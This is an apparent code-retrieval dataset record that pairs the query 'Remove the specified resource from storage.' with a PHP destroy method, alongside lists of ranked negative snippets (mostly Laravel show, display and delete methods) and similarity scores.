$this->getDisplay();\n $this->isDisplayed(true);\n }", "public function display()\n\t{\n\t\tparent::display();\n\t}", "public function get_resource();", "public function show()\n\t{\n\t\t\n\t}", "function display() {\n\n\t\t// Check authorization, abort if negative\n\t\t$this->isAuthorized() or $this->abortUnauthorized();\n\n\t\t// Get the view\n\t\t$view = $this->getDefaultView();\n\n\t\tif ($view == NULL) {\n\t\t\tthrow new Exception('Display task called, but there is no view assigned to that controller. Check method getDefaultView.');\n\t\t}\n\n\t\t$view->listing = true;\n\n\t\t// Wrap the output of the views depending on the way the stuff should be shown\n\t\t$this->wrapViewAndDisplay($view);\n\n\t}", "public function viewResources()\n {\n $database = new Database();\n\n $resources = $database->getAllActiveResourcesNoLimit();\n\n\n $resourceArray = array();\n $i = 1;\n\n foreach ($resources as $resource) {\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n array_push($resourceArray, $availableResource);\n $i += 1;\n }\n $resourceSize = sizeof($resourceArray);\n $this->_f3->set('resourcesByActive', $resourceArray);\n $this->_f3->set('resourcesSize', $resourceSize);\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }", "public function show($id)\n {\n $this->title .= ' show';\n $this->one($id);\n }", "public function display($title = null)\n {\n echo $this->fetch($title);\n }", "public function display(){}", "public function show($id)\n\t{\n\t\t//\n\t\t//\n\t\n\t}", "public function viewAction()\n\t{\n\t\t//get Id param from request\n\t\tif (!$id = $this->_getParam('id')) {\n\t\t\t$this->getFlashMessenger()->addMessage('Product ID was not specified');\n\t\t\t$this->getRedirector()->gotoSimple('list');\n\t\t}\n\n\t\t//fetch requested ProductID from DB\n\t\tif (!$this->_model->fetch($id)) {\n\t\t\t$this->render('not-found');\n\t\t} else {\n\t\t\t$this->view->model = $this->_model;\n\t\t}\n\t}", "public function show($id)\n {\n // Get single person\n $person = Person::findOrFail($id);\n\n // Return single person as a resource\n return '<h1>Person Number '.$id.'</h1><br>'.json_encode(new PersonResource($person));\n }", "#[TODO] use self object?\n\tprotected function GET(ResourceObject $resource) {\n#[TODO]\t\tif ($resource->getMTime())\n#[TODO]\t\t\t$this->response->headers->set('Last-modified', gmdate('D, d M Y H:i:s ', $resource->getMTime()) . 'GMT');\n#[TODO]\t\tif ($resource->getCTime())\n#[TODO]\t\t\t$this->response->headers->set('Date', gmdate('D, d M Y H:i:s ', $resource->getCTime()) . 'GMT');\n\n\n#[TODO] handle file streams\n\t\t// get ranges\n#\t\t$ranges = WebDAV::getRanges($this->request, $this->response);\n\n\t\t// set the content of the response\n\t\tif ($resource instanceof ResourceDocument) {\n\t\t\t$this->response->content->set($resource->getContents());\n\t\t\t$this->response->content->setType($resource->getMIMEType());\n\t\t\t$this->response->content->encodeOnSubmit(true);\n\t\t}\n\t}", "public function display() {\n echo $this->render();\n }", "public function show($id)\n\t{\n\t//\n\t}", "public function show($id)\n\t{\n\t//\n\t}", "function Fetch($resource_name, $cache_id = null, $compile_id = null, $display = false)\n {\n return $this->_smarty->fetch($resource_name, $cache_id, $compile_id, $display);\n }", "public function show($id)\n {\n //\n $this->_show($id);\n }", "public function show()\n\t{\n\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {}", "static public function showCallback(O_Dao_Renderer_Show_Params $params) {\r\n\t\t/* @var $r R_Mdl_Resource */\r\n\t\t$r = $params->record();\r\n\t\t// Setting layout title\r\n\t\t$params->layout()->setTitle($r->getPageTitle());\r\n\r\n?><h1><?=$r->title?></h1><div id=\"resource\"><?\r\n\t\tif($r->getContent()) {\r\n\t\t\t// page has its own content -- show it\r\n\t\t\t$r->getContent()->show($params->layout(), \"content\");\r\n\t\t} else {\r\n\t\t\t// It is a post unit, show all childs\r\n\t\t\tif($r->is_unit == 1) {\r\n\t\t\t\t$r->addQueryAccessChecks($r->getChilds(1))->show($params->layout(), \"content\");\r\n\r\n\t\t\t// It is a folder with several units, show paginator\r\n\t\t\t} elseif($r->show_def == \"last-units\") {\r\n\t\t\t\tlist($type, $perpage) = explode(\":\", $r->show_def_params);\r\n\t\t\t\t/* @var $p O_Dao_Paginator */\r\n\t\t\t\t$p = $r->addQueryAccessChecks($r->getChilds())->test(\"is_unit\", 1)->getPaginator(array($r, \"getPageUrl\"), $perpage);\r\n\t\t\t\t$p->show($params->layout(), $type);\r\n\t\t\t// It is a folder with subfolders, boxes, contents. Show one childs level\r\n\t\t\t} else {\r\n\t\t\t\t$r->addQueryAccessChecks($r->getChilds(1))->show($params->layout(), \"on-parent-page\");\r\n\t\t\t}\r\n\r\n\t\t}\r\n?></div><?\r\n\t}", "public function show($id)\r\n\t{\r\n\t\t//\r\n\r\n\r\n\r\n\t}", "public function show($resourceId, $eventId)\n {\n $routes = $this->routes;\n\n $eventable = $this->getEventableRepository()->model()->findOrFail($resourceId);\n\n if (method_exists($eventable, 'events')) {\n $event = $eventable->events()->find($eventId);\n\n if ($event) {\n $apiObject = $this->event->findApiObject($event->api_id);\n\n return view('events.eventables.show', compact('routes', 'eventable', 'event', 'apiObject'));\n }\n }\n\n abort(404);\n }", "public abstract function display();", "abstract public function resource($resource);", "public function show($id)\r\r\n\t{\r\r\n\t\t//\r\r\n\t}", "public function show( $id ) {\n\t\t//\n\t}", "public function show( $id ) {\n\t\t//\n\t}", "public function show(Response $response)\n {\n //\n }", "public function show()\n {\n return auth()->user()->getResource();\n }", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}" ]
[ "0.8233718", "0.8190437", "0.6828712", "0.64986944", "0.6495974", "0.6469629", "0.6462615", "0.6363665", "0.6311607", "0.62817234", "0.6218966", "0.6189695", "0.61804265", "0.6171014", "0.61371076", "0.61207956", "0.61067593", "0.6105954", "0.6094066", "0.6082806", "0.6045245", "0.60389996", "0.6016584", "0.598783", "0.5961788", "0.59606946", "0.5954321", "0.59295714", "0.59182066", "0.5904556", "0.59036547", "0.59036547", "0.59036547", "0.5891874", "0.58688277", "0.5868107", "0.58676815", "0.5851883", "0.58144855", "0.58124036", "0.58112013", "0.5803467", "0.58012545", "0.5791527", "0.57901084", "0.5781528", "0.5779676", "0.5757105", "0.5756208", "0.57561266", "0.57453394", "0.57435393", "0.57422745", "0.5736634", "0.5736634", "0.5730559", "0.57259274", "0.5724891", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5718969", "0.5713412", "0.57091093", "0.5706405", "0.57057405", "0.5704541", "0.5704152", "0.57026845", "0.57026845", "0.56981397", "0.5693083", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962" ]
0.0
-1
Remove the specified resource from storage.
public function destroy(Order $order) { $order->delete(); return redirect(route('orders.index')); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function delete($resource){\n return $this->fetch($resource, self::DELETE);\n }", "public function destroy(Resource $resource)\n {\n //\n }", "public function removeResource($resourceID)\n\t\t{\n\t\t}", "public function unpublishResource(PersistentResource $resource)\n {\n $client = $this->getClient($this->name, $this->options);\n try {\n $client->delete(Path::fromString($this->getRelativePublicationPathAndFilename($resource)));\n } catch (FileDoesNotExistsException $exception) {\n }\n }", "public function deleteResource(&$resource) {\n\n if ($this->connector != null) {\n $this->logger->addDebug(\"Deleting Resource Node from Neo4J database\");\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id}}) detach delete a;\",\n [\n 'id' => $resource->getID()\n ]\n );\n $this->logger->addDebug(\"Updated neo4j to remove resource\");\n }\n\n }", "public function deleteShopifyResource() {\n $this->getShopifyApi()->call([\n 'URL' => API::PREFIX . $this->getApiPathSingleResource(),\n 'METHOD' => 'DELETE',\n ]);\n }", "public function deleteResource()\n {\n $database = new Database();\n $id = $this->_params['id'];\n $database->deleteResource($id);\n $this->_f3->reroute('/Admin');\n }", "protected function deleteResource($fileName, $storage)\n {\n if (Storage::disk($storage)->exists($fileName)) \n {\n return Storage::disk($storage)->delete($fileName);\n }\n }", "public function delete()\n {\n persistableCollection::getInstance($this->resourceName)->deleteObject($this);\n }", "public function remove()\n {\n $this->_getBackend()->remove($this->_id);\n }", "public function remove()\n {\n if (! ftruncate($this->fileHandle, 0)) {\n throw new StorageException(\"Could not truncate $this->path\");\n }\n if (! unlink($this->path)) {\n throw new StorageException(\"Could not delete $this->path\");\n }\n }", "public function delete()\n\t{\n\t\t$s3 = AWS::createClient('s3');\n $s3->deleteObject(\n array(\n 'Bucket' => $this->bucket,\n 'Key' => $this->location\n )\n );\n\t\tif($this->local_file && file_exists($this->local_file)) {\n\t\t\tunlink($this->local_file);\n\t\t}\n $this->local_file = null;\n\t}", "public function delete()\n\t{\n\t\tsfCore::db->query(\"DELETE FROM `swoosh_file_storage` WHERE `id`='%i';\", $this->id);\n\t\t$this->fFile->delete();\n\t}", "public function delete(): void\n {\n unlink($this->getPath());\n }", "public function delete()\n {\n if($this->exists())\n unlink($this->getPath());\n }", "public function remove($path);", "function deleteFileFromStorage($path)\n{\n unlink(public_path($path));\n}", "public function delete(): void\n {\n unlink($this->path);\n }", "private function destroyResource(DrydockResource $resource) {\n $blueprint = $resource->getBlueprint();\n $blueprint->destroyResource($resource);\n\n $resource\n ->setStatus(DrydockResourceStatus::STATUS_DESTROYED)\n ->save();\n }", "public static function delete($fileName, $storage)\n {\n if (Storage::disk($storage)->exists($fileName)) \n {\n return Storage::disk($storage)->delete($fileName);\n }\n }", "public function remove() {}", "public function remove() {}", "public function remove();", "public function remove();", "public function remove();", "public function remove();", "function delete_resource($resource_id, $page)\n\t{\n\t\t//get resource data\n\t\t$table = \"resource\";\n\t\t$where = \"resource_id = \".$resource_id;\n\t\t\n\t\t$this->db->where($where);\n\t\t$resource_query = $this->db->get($table);\n\t\t$resource_row = $resource_query->row();\n\t\t$resource_path = $this->resource_path;\n\t\t\n\t\t$image_name = $resource_row->resource_image_name;\n\t\t\n\t\t//delete any other uploaded image\n\t\t$this->file_model->delete_file($resource_path.\"\\\\\".$image_name, $this->resource_path);\n\t\t\n\t\t//delete any other uploaded thumbnail\n\t\t$this->file_model->delete_file($resource_path.\"\\\\thumbnail_\".$image_name, $this->resource_path);\n\t\t\n\t\tif($this->resource_model->delete_resource($resource_id))\n\t\t{\n\t\t\t$this->session->set_userdata('success_message', 'resource has been deleted');\n\t\t}\n\t\t\n\t\telse\n\t\t{\n\t\t\t$this->session->set_userdata('error_message', 'resource could not be deleted');\n\t\t}\n\t\tredirect('resource/'.$page);\n\t}", "public function deleteImage(){\n\n\n Storage::delete($this->image);\n }", "public function del(string $resource): bool|string\n {\n $json = false;\n $fs = unserialize($_SESSION['rfe'][$this->getRoot()], ['allowed_classes' => false]);\n if (array_key_exists($resource, $fs)) {\n // if $item has children, delete all children too\n if (array_key_exists('dir', $fs[$resource])) {\n foreach ($fs as $key => $file) {\n if (isset($file['parId']) && $file['parId'] == $resource) {\n unset($fs[$key]);\n }\n }\n }\n unset($fs[$resource]);\n $_SESSION['rfe'][$this->getRoot()] = serialize($fs);\n $json = '[{\"msg\": \"item deleted\"}]';\n }\n return $json;\n }", "public function destroy()\n\t{\n\t\treturn unlink(self::filepath($this->name));\n\t}", "public function destroy($id) {\n $book = Book::find($id);\n // return unlink(storage_path(\"public/featured_images/\".$book->featured_image));\n Storage::delete(\"public/featured_images/\" . $book->featured_image);\n if ($book->delete()) {\n return $book;\n }\n\n }", "public function destroy($id)\n {\n Storageplace::findOrFail($id)->delete();\n }", "public function destroyResourceImage(): void\n\t{\n\t\tif (isset($this->image)) {\n\t\t\t@imagedestroy($this->image->getImageResource());\n\t\t}\n\t}", "public function deleteResource(PersistentResource $resource)\n {\n $pathAndFilename = $this->getStoragePathAndFilenameByHash($resource->getSha1());\n if (!file_exists($pathAndFilename)) {\n return true;\n }\n if (unlink($pathAndFilename) === false) {\n return false;\n }\n Files::removeEmptyDirectoriesOnPath(dirname($pathAndFilename));\n return true;\n }", "public function deleteImage(){\n \tStorage::delete($this->image);\n }", "public function destroy()\n {\n $file=public_path(config('larapages.media.folder')).Input::all()['folder'].'/'.Input::all()['file'];\n if (!file_exists($file)) die('File not found '.$file);\n unlink($file);\n }", "public function delete() \r\n {\r\n if($this->exists())\r\n {\r\n unlink($this->fullName());\r\n }\r\n }", "public function destroy($id)\n {\n Myfile::find($id)->delete();\n }", "public function destroy($delete = false)\n {\n if (null !== $this->resource) {\n $this->resource->clear();\n $this->resource->destroy();\n }\n\n $this->resource = null;\n clearstatcache();\n\n // If the $delete flag is passed, delete the image file.\n if (($delete) && file_exists($this->name)) {\n unlink($this->name);\n }\n }", "public static function delete($path){\r\n $currentDir = getcwd();\r\n $storageSubPath = \"/../../\".STORAGE_PATH;\r\n $file = $currentDir . $storageSubPath . '/' . $path;\r\n\r\n unlink($file);\r\n }", "public function destroy(Storage $storage)\n {\n return redirect()->route('storages.index');\n }", "public function remove() {\n //Check if there are thumbs and delete files and db\n foreach ($this->thumbs()->get() as $thumb) {\n $thumb->remove();\n } \n //Delete the attachable itself only if is not default\n if (strpos($this->url, '/defaults/') === false) {\n Storage::disk('public')->delete($this->getPath());\n }\n parent::delete(); //Remove db record\n }", "public function removeFile($uri){\n return Storage::disk('public')->delete($uri);\n }", "public function destroy(Resource $resource)\n {\n if( $resource->delete() ){\n return Response(['status'=>'success','message'=>'Resource deleted']); \n } else {\n return Response(['status'=>'error', 'message'=>'Something went wrong']);\n }\n }", "public function delete($path);", "public function delete($path);", "public function destroy($id)\n { \n File::find($id)->remove();\n \n return redirect()->route('files.index');\n }", "public function destroy($id)\n {\n $supplier = Supplier::find($id);\n $photo = $supplier->photo;\n if ($photo) {\n unlink($photo);\n }\n $supplier->delete();\n }", "public function destroy($id)\n {\n $student = Student::where('id', $id)->first();\n // $path = $student->image;\n unlink($student->image);\n Student::findOrFail($id)->delete();\n return response('Deleted!');\n }", "public function destroy($id)\n {\n $icon = SliderIcon::find($id);\n if (Storage::disk('public')->exists(str_replace('storage', '', $icon->img))){\n Storage::disk('public')->delete(str_replace('storage', '', $icon->img));\n }\n $icon->delete();\n return redirect()->route('slider_icons.index')->with('success', 'Данные преимущества удалёны');\n }", "public function delete($path, $data = null);", "public function destroy($id)\n {\n $items=Items::find($id);\n // delete old file\n if ($items->photo) {\n $str=$items->photo;\n $pos = strpos($str,'/',1);\n $str = substr($str, $pos);\n $oldFile = storage_path('app\\public').$str;\n File::Delete($oldFile); \n }\n $items->delete();\n return redirect()->route('items.index');\n }", "public function destroy($id)\n {\n $carousel = Carousel::find($id);\n $image = $carousel->image;\n\n $basename ='img/carousel/' . basename($image);\n //Delete the file from disk\n if(file_exists($basename)){\n unlink($basename);\n }\n //With softDeletes, this is the way to permanently delete a record\n $carousel->delete();\n Session::flash('success','Product deleted permanently');\n return redirect()->back();\n }", "public function remove()\n {\n $fs = new Filesystem();\n $fs->remove($this->dir());\n }", "public static function destroy(int $resource_id)\n {\n try {\n $image_data = ListingImage::where('id', $resource_id)->first();\n self::delete_image($image_data->name);\n $delete = ListingImage::where('id', $resource_id)->delete();\n\n // activity()\n // ->causedBy(Auth::user()->id)\n // ->performedOn($delete)\n // ->withProperties(['id' => $delete->id])\n // ->log('listing image deleted');\n return response()->json(['status'=> 'ok', 'msg'=> 'Data deleted successfully']);\n } catch (Exception $e) {\n $e->getMessage();\n }\n }", "public function destroy(Storage $storage)\n {\n $this->storage->destroy($storage);\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource deleted', ['name' => trans('product::storages.title.storages')]));\n }", "public function del($path){\n\t\treturn $this->remove($path);\n\t}", "public function destroy($id)\n {\n //\n $product = Product::findOrFail($id);\n $product->delete();\n if($product->img != 'product-default.png'){\n Storage::delete(\"public/uploads/\".$product->img);\n // return 'deleted';\n }\n return redirect()->route('product.index'); \n }", "public function removeUpload()\n{\n if ($file = $this->getAbsolutePath()) {\n unlink($file); \n }\n}", "public function destroy($id)\n {\n $image = Images::withTrashed()->find($id);\n\n Storage::disk('uploads')->delete(\"social-media/$image->filename\");\n\n $image->tags()->detach();\n $image->detachMedia(config('constants.media_tags'));\n $image->forceDelete();\n\n return redirect()->back()->with('success', 'The image was successfully deleted');\n }", "public function destroyByResourceId($resource_id)\n {\n// $online_party = $this->onlinetrack->where('resource_id', $resource_id)->get()->first();\n// $online_party->status = \"offline\";\n// $online_party->save();\n// return $online_party;\n return $this->onlinetrack->where('resource_id', $resource_id)->delete();\n }", "public function revoke($resource, $permission = null);", "public function destroy($id)\n {\n $data=Image::find($id);\n $image = $data->img;\n\n\n $filepath= public_path('images/');\n $imagepath = $filepath.$image;\n\n //dd($old_image);\n if (file_exists($imagepath)) {\n @unlink($imagepath);\n }\n\n\n $data->delete();\n\n return redirect()->route('image.index');\n }", "function delete($path);", "public function removeItem(int $id)\n\t{\n\t\t$this->storage->remove($id);\n\t}", "public function destroy(File $file)\n {\n //\n $v = Storage::delete($file->path);\n \n }", "public function destroyResource($resource)\n {\n if (!is_object($resource)) {\n return false;\n }\n\n $resource_type = get_class($resource);\n $resource_id = $resource->getKey();\n\n return Role::where('resource_type', $resource_type)\n ->where('resource_id', $resource_id)\n ->delete();\n }", "public function remove($filePath){\n return Storage::delete($filePath);\n }", "public function remove(): void\n {\n $file = $this->getAbsolutePath();\n if (!is_file($file) || !file_exists($file)) {\n return;\n }\n\n unlink($file);\n }", "public function destroy(Request $request, Storage $storage)\n {\n $storage->delete();\n $request->session()->flash('alert-success', 'Запись успешно удалена!');\n return redirect()->route('storage.index');\n }", "public function remove(Storable $entity): Storable\n {\n $this->getRepository(get_class($entity))->remove($entity);\n $this->detach($entity);\n\n return $entity;\n }", "public function processDeletedResource(EntityResource $resource)\n {\n /** @var AuthorizationRepository $repository */\n $repository = $this->entityManager->getRepository('Edweld\\AclBundle\\Entity\\Authorization');\n\n $repository->removeAuthorizationsForResource($resource);\n }", "function _unlink($resource, $exp_time = null)\n {\n if(file_exists($resource)) {\n return parent::_unlink($resource, $exp_time);\n }\n\n // file wasn't found, so it must be gone.\n return true;\n }", "public function remove($id);", "public function remove($id);", "public function deleted(Storage $storage)\n {\n //\n }", "public function destroy($id)\n {\n $data = Product::findOrFail($id);\n\n if(file_exists('uploads/product/'.$data->image1)){\n unlink('uploads/product/'.$data->image1);\n }\n\n if(file_exists('uploads/product/'.$data->image2)){\n unlink('uploads/product/'.$data->image2);\n }\n\n if(file_exists('uploads/product/'.$data->image3)){\n unlink('uploads/product/'.$data->image3);\n }\n $data->delete();\n }", "public function removeUpload()\n {\n $file = $this->getAbsolutePath();\n if ($file) {\n unlink($file);\n }\n }", "public function resources_delete($resource_id, Request $request) {\n if ($resource_id) {\n $resp = Resources::where('id', '=', $resource_id)->delete();\n if($resp){\n $msg = 'Resource has been deleted successfully.';\n $request->session()->flash('message', $msg);\n }\n }\n //return redirect()->route('admin-factor-list');\n return redirect()->to($_SERVER['HTTP_REFERER']);\n }", "public function delete()\n {\n try\n {\n $thumbnail = $this->getThumbnail();\n if($thumbnail)\n {\n $thumbnail->delete();\n }\n }\n catch(sfException $e){}\n \n // delete current file\n parent::delete();\n }", "function deleteResource($uuid){\n $data = callAPI(\"DELETE\",\"/urest/v1/resource/\".$uuid);\n return $data;\n}", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function remove_resource($idproject){\n\t\t\n\t\t// Load model and try to get project data\n\t\t$this->load->model('Projects_model', 'projects');\n\t\t\n\t\t// Update\n\t\t$this->projects->save_project(array(\"ext\" => \"\", \"vzaar_idvideo\" => \"0\", \"vzaar_processed\" => \"0\"), $idproject);\n\t}", "public function destroy($id){\n $file_data = Slider::findOrFail($id);\n File::delete(public_path('../storage/app/public/sliders/'.$file_data->path));\n $slider = Slider::destroy($id);\n return response()->json(null, 204);\n }", "public function delete()\n\t{\n\t\t@unlink($this->get_filepath());\n\t\t@unlink($this->get_filepath(true));\n\t\tparent::delete();\n\t}", "public function delete($resource_path, array $variables = array()) {\n return $this->call($resource_path, $variables, 'DELETE');\n }", "public function destroy($id)\n {\n //Find Slider With Id\n $slider = Slider::findOrFail($id);\n // Check If The Image Exist\n if(file_exists('uploads/slider/'.$slider->image)){\n\n unlink( 'uploads/slider/'.$slider->image);\n }\n $slider->delete();\n return redirect()->back()->with('success','Slider Successfully Deleted');\n }" ]
[ "0.6672584", "0.6659381", "0.6635911", "0.6632799", "0.6626075", "0.65424126", "0.65416265", "0.64648265", "0.62882507", "0.6175931", "0.6129922", "0.60893893", "0.6054415", "0.60428125", "0.60064924", "0.59337646", "0.5930772", "0.59199584", "0.5919811", "0.5904504", "0.5897263", "0.58962846", "0.58951396", "0.58951396", "0.58951396", "0.58951396", "0.5880124", "0.58690923", "0.5863659", "0.5809161", "0.57735413", "0.5760811", "0.5753559", "0.57492644", "0.5741712", "0.57334286", "0.5726379", "0.57144034", "0.57096", "0.5707689", "0.5705895", "0.5705634", "0.5703902", "0.5696585", "0.5684331", "0.5684331", "0.56780374", "0.5677111", "0.5657287", "0.5648262", "0.5648085", "0.5648012", "0.5640759", "0.5637738", "0.5629985", "0.5619264", "0.56167465", "0.5606877", "0.56021434", "0.5601949", "0.55992156", "0.5598557", "0.55897516", "0.5581397", "0.5566926", "0.5566796", "0.55642897", "0.55641", "0.5556583", "0.5556536", "0.5550097", "0.5543172", "0.55422723", "0.5540013", "0.5540013", "0.55371785", "0.55365825", "0.55300397", "0.552969", "0.55275744", "0.55272335", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.5525997", "0.5525624", "0.5523911", "0.5521122", "0.5517412" ]
0.0
-1
TODO: Implement init() method.
public function __construct($level = ILog::DEBUG, $config = []) { if(!in_array($level,ILog::LEVEL_ARR)) throw new ConfigException("$level not exists."); self::$_level = $level; self::$_config = array_merge(self::$_config,$config); self::$_file = self::$_config['dir']."{$level}_".date('Y-m-d').".log"; $this->_init(); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "protected function __init__() { }", "public function __init(){}", "public function init() {}", "public function init() {}", "public function init() {}", "public function init() {}", "public function init() {}", "public function init() {}", "public function init() {}", "public function init() {}", "public function init() {}", "public function init() {}", "public function init() {}", "public function init() {}", "public function init() {}", "public function init() {}", "public function init() {}", "public function init() {}", "public function init() {}", "public function init() {}", "public function init() {}", "public function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "protected function init() {}", "public function _init() {}", "final private function __construct() {\n\t\t\t}", "public function init(){}", "public function init(){}", "public function init()\n {}", "public function init() {\n \n }", "public function init() {\n \n }", "public function init() {\n \n }", "public function init() {\n\t\t\n\t}", "private function __construct()\t{}", "protected final function __construct() {}", "abstract public function init();", "protected function initialize() {}", "protected function initialize() {}", "protected function initialize() {}", "protected function initialize() {}", "private function __construct(){}", "private function __construct(){}", "private function __construct(){}", "private function __construct(){}", "private function __construct(){}", "private function __construct(){}", "private function __construct(){}", "private function __construct(){}", "private function __construct(){}", "private function __construct(){}", "private function __construct(){}", "private function __construct(){}", "private function __construct(){}", "private function __construct(){}", "private function __construct(){}", "private function __construct(){}", "private function __construct(){}", "public function _init(){}", "private function __construct() {\r\n\t\r\n\t}", "public function init()\n {\n \t\n }", "public function init()\n {\n \t\n }", "public function init ()\r\n {\r\n }", "public function init()\n {\n }", "public function init()\n {\n }", "public function init() {\n }", "public function init()\n {\n }", "public function init()\n {\n }", "public function init()\n {\n }", "public function init()\n {\n }", "public function init()\n {\n }", "public function init()\n {\n }", "public function init()\n {\n }", "public function init()\n {\n }", "public function init()\n {\n }", "public function init()\n {\n }", "public function init()\n {\n }", "public function init()\n\t\t{\n\t\n\t\t}", "private function __construct () {}", "public function init() {\r\n }", "private function __construct() {\n\t\t}", "public function init ()\n {\n }", "public function init ()\n {\n }", "public function init() {\r\n\r\n\t\t}", "public function init() {\n }", "public function init() {\n }", "public function init() {\n }", "public function init() {\n }", "public function init() {\n }", "public function init() {\n }", "public function init() {\n }", "public function init() {\n }" ]
[ "0.9006209", "0.878049", "0.85603", "0.85603", "0.85603", "0.85603", "0.85603", "0.8559613", "0.8559613", "0.8559613", "0.8559613", "0.8559613", "0.8559613", "0.8559613", "0.8559613", "0.8559613", "0.8559613", "0.8559613", "0.8559613", "0.8559613", "0.8559613", "0.8559613", "0.85587823", "0.85587823", "0.85587823", "0.85587823", "0.855844", "0.855844", "0.855844", "0.855844", "0.855844", "0.855844", "0.8557865", "0.8557865", "0.8236618", "0.8225986", "0.821319", "0.821319", "0.82076395", "0.8178245", "0.8178245", "0.8178245", "0.81771034", "0.8175184", "0.81185687", "0.8109181", "0.8092051", "0.8092051", "0.8092051", "0.8092051", "0.8087565", "0.8087565", "0.8087565", "0.8087565", "0.8087565", "0.8087565", "0.8087565", "0.8087565", "0.8087565", "0.8087565", "0.8087565", "0.8087565", "0.8087565", "0.8087565", "0.8087565", "0.8087565", "0.8087565", "0.80838513", "0.80795324", "0.80770636", "0.80770636", "0.80694705", "0.8068021", "0.8067599", "0.80675906", "0.80667377", "0.80667377", "0.80662614", "0.80662614", "0.80662614", "0.80662614", "0.80662614", "0.80662614", "0.80662614", "0.80662614", "0.80662614", "0.80658394", "0.8047006", "0.8045725", "0.8045166", "0.80444235", "0.80444235", "0.8041632", "0.8041526", "0.8041526", "0.8041526", "0.8041526", "0.8041526", "0.8041526", "0.8041526", "0.8041526" ]
0.0
-1
TODO: Implement write() method.
public function write($message) { if(!self::$_file_handle) $this->_init(); fwrite(self::$_file_handle, "[".self::$_level."]".$message."\n"); fclose(self::$_file_handle); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "abstract protected function write();", "public function write();", "public function write();", "protected function _write() {}", "abstract protected function _write();", "public function write()\n {\n }", "function write()\n {\n }", "abstract public function write( $value );", "abstract public function write($data);", "public function _write($data)\n {\n }", "public function write() {\n var_dump($this->as_array());\n }", "public function write($s) {}", "public function write($s) {}", "public function write($s) {}", "public function write($s) {}", "public function write($s) {}", "protected function write()\n {\n $this->writeString($this->database);\n $this->writeString($this->type);\n $this->writeString($this->storage);\n }", "public abstract function writeBack();", "public function writeable();", "public function write($data) {\n\t}", "public function write($data);", "public function write($data);", "public function write($data);", "public function write($data);", "public function onWrite();", "function write($offset, $data) {}", "private function write($key,$value) {\r\n}", "protected function _writeFileBody() {}", "protected function _write() {\n\n if ( !empty( $this->rid ) && $this->rid instanceof ID ) {\n $this->cluster_id = $this->rid->cluster;\n $this->cluster_position = $this->rid->position;\n }\n\n $this->record->setRid( new ID( $this->cluster_id, $this->cluster_position ) );\n\n $this->_writeShort( $this->cluster_id );\n $this->_writeLong( $this->cluster_position );\n\n if( $this->_transport->getProtocolVersion() >= 23 ){\n $this->_writeBoolean( $this->update_content );\n }\n\n $this->_writeBytes( CSV::serialize( $this->record ) );\n $this->_writeInt( $this->record_version );\n $this->_writeChar( $this->record_type );\n $this->_writeBoolean( $this->mode );\n\n }", "public function write($string)\n {\n }", "protected function write()\n {\n $this->writeString($this->clientName);\n $this->writeString($this->clientVersion);\n $this->writeShort($this->protocolVersion);\n $this->writeString(''); // client id, unused.\n $this->writeString($this->database);\n $this->writeString($this->type);\n $this->writeString($this->username);\n $this->writeString($this->password);\n }", "abstract public function write( $key, $value );", "public function write()\n {\n $this->assertEquals('', $this->memoryOutputStream->getBuffer());\n $this->assertEquals(5, $this->memoryOutputStream->write('hello'));\n $this->assertEquals('hello', $this->memoryOutputStream->getBuffer());\n 